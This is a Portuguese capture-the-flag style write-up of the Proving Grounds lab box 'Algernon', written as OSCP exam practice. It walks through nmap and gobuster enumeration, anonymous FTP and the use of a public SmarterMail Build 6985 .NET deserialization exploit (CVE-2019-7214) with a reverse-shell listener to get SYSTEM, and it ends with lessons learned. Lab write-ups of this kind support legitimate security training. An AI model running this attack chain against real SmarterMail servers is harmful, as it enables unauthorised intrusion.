PG Algernon Writeup — SmarterMail Deserialization RCE (2026)

Informações da Box

Resumo do Caminho de Ataque

FTP anônimo -> logs do SmarterMail confirmaram que usuário admin existe -> porta 80 era página default do IIS, beco sem saída -> porta 9998 tinha SmarterMail Build 6985 -> RCE público via .NET deserialization -> caiu direto como nt authority\system. Sem privesc necessário.

Enumeração

sudo nmap -Pn -p- --min-rate=1000 -T4 -oN fast_tcp.txt $ip
sudo nmap -Pn -sC -sV -p 21,80,135,139,445,5040,9998,17001 -oA targeted $ip

Na hora duas coisas chamaram minha atenção — FTP anônimo e aquela porta estranha 9998 rodando HTTP. Porta 80 é só IIS default então não tô esperando muito de lá, mas vou checar mesmo assim.

Indo Pelo Caminho Errado Primeiro

Comecei pelo FTP porque acesso anônimo sempre vale checar.

ftp $ip
# Login: anonymous / anonymous
# Encontrei diretórios: ImapRetrieval, Logs, PopRetrieval, Spool

Dentro de Logs/ encontrei 2020.05.12-administrative.log — isso confirmou que um usuário admin existe no aplicativo de email rodando nessa box. Bom saber, mas não dava pra fazer muito só com um username e sem senha.

Aí perdi tempo na porta 80.

gobuster dir -u http://$ip -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -t 50
# Só encontrou: aspnet_client (301)

Página default IIS. Nada. Eu devia ter seguido em frente imediatamente — quando vê aquela landing page default do IIS sem nada por trás, é quase sempre beco sem saída. Mas fiquei cutucando por um tempo antes de aceitar o óbvio.

O Foothold de Verdade — Porta 9998

Depois de perder tempo na 80, finalmente fui pra porta estranha.

curl -L http://$ip:9998
# Aplicação SmarterMail — frontend Angular

SmarterMail. Agora os logs do FTP fazem sentido — isso é um servidor de email. E aquele usuário admin dos logs provavelmente é a conta admin do SmarterMail.

Primeiro instinto — checar exploits públicos.

searchsploit smartermail
# SmarterMail Build 6985 - Remote Code Execution | windows/remote/49216.py

Build 6985 bate exatamente com o que o nmap identificou. RCE público via .NET deserialization. CVE-2019-7214.

A vulnerabilidade tá em como o SmarterMail lida com objetos .NET serializados. É um bug clássico de deserialization — a aplicação confia em dados serializados controlados pelo usuário sem validação, então dá pra criar um objeto malicioso que executa código arbitrário quando o servidor desserializa. O exploit faz todo o trabalho pesado, só precisa configurar seu IP e porta.

Exploração

# Pegar o exploit
searchsploit -m windows/remote/49216.py

# Editar — configurar LHOST e LPORT pro IP e porta do seu Kali
code 49216.py

# Iniciar listener
penelope -p 4444

# Disparar
python3 49216.py

E é isso. Shell volta instantaneamente.

whoami: nt authority\system
hostname: algernon

Caiu como SYSTEM. O serviço SmarterMail tava rodando como nt authority\system, então quando o exploit de deserialization dispara execução de código, roda no nível de privilégio do serviço. Nesse caso — o mais alto. Nenhuma fase de privesc necessária.

Esse é na verdade um ótimo exemplo de por que rodar serviços como SYSTEM é perigoso. Uma vulnerabilidade na aplicação e o atacante é dono da box inteira. Se o SmarterMail tivesse rodando como uma service account de baixo privilégio, teria precisado de uma chain separada de privesc.

Prova

PS C:\Windows\system32> whoami; hostname; ipconfig; type C:\Users\Administrator\Desktop\proof.txt
nt authority\system
algernon
IPv4 Address: 192.168.231.65
[flag redacted]

O que Aprendi

Meu instinto de enumeração tá melhorando. Encontrei o FTP anônimo rápido, peguei os logs, identifiquei o usuário admin. E quando vi SmarterMail na 9998 meu primeiro move foi searchsploit. Esse reflexo precisa ser automático pro exame OSCP.

Mas eu ainda perco tempo em becos sem saída. Porta 80 era obviamente uma página default IIS e eu fiquei rodando gobuster nela. Lição aprendida — quando vê aquela página default sem nada atrás, segue pras portas incomuns imediatamente. As portas estranhas são quase sempre onde o foothold real tá.

zsh vai te morder se não usar aspas nos globs. Comandos como grep ^[0-9] e nmap --script ftp-* quebram no zsh porque ele tenta expandir os patterns de glob. Sempre use aspas: grep '^[0-9]', --script 'ftp-*'. Coisa pequena mas perdi tempo debugando isso quando o problema real era meu shell, não os comandos.

Padrão: “Porta alta incomum rodando HTTP? curl -L, identifique a aplicação, depois searchsploit imediatamente. Porta 80 ser beco sem saída é a dica de que o alvo real tá em outro lugar.”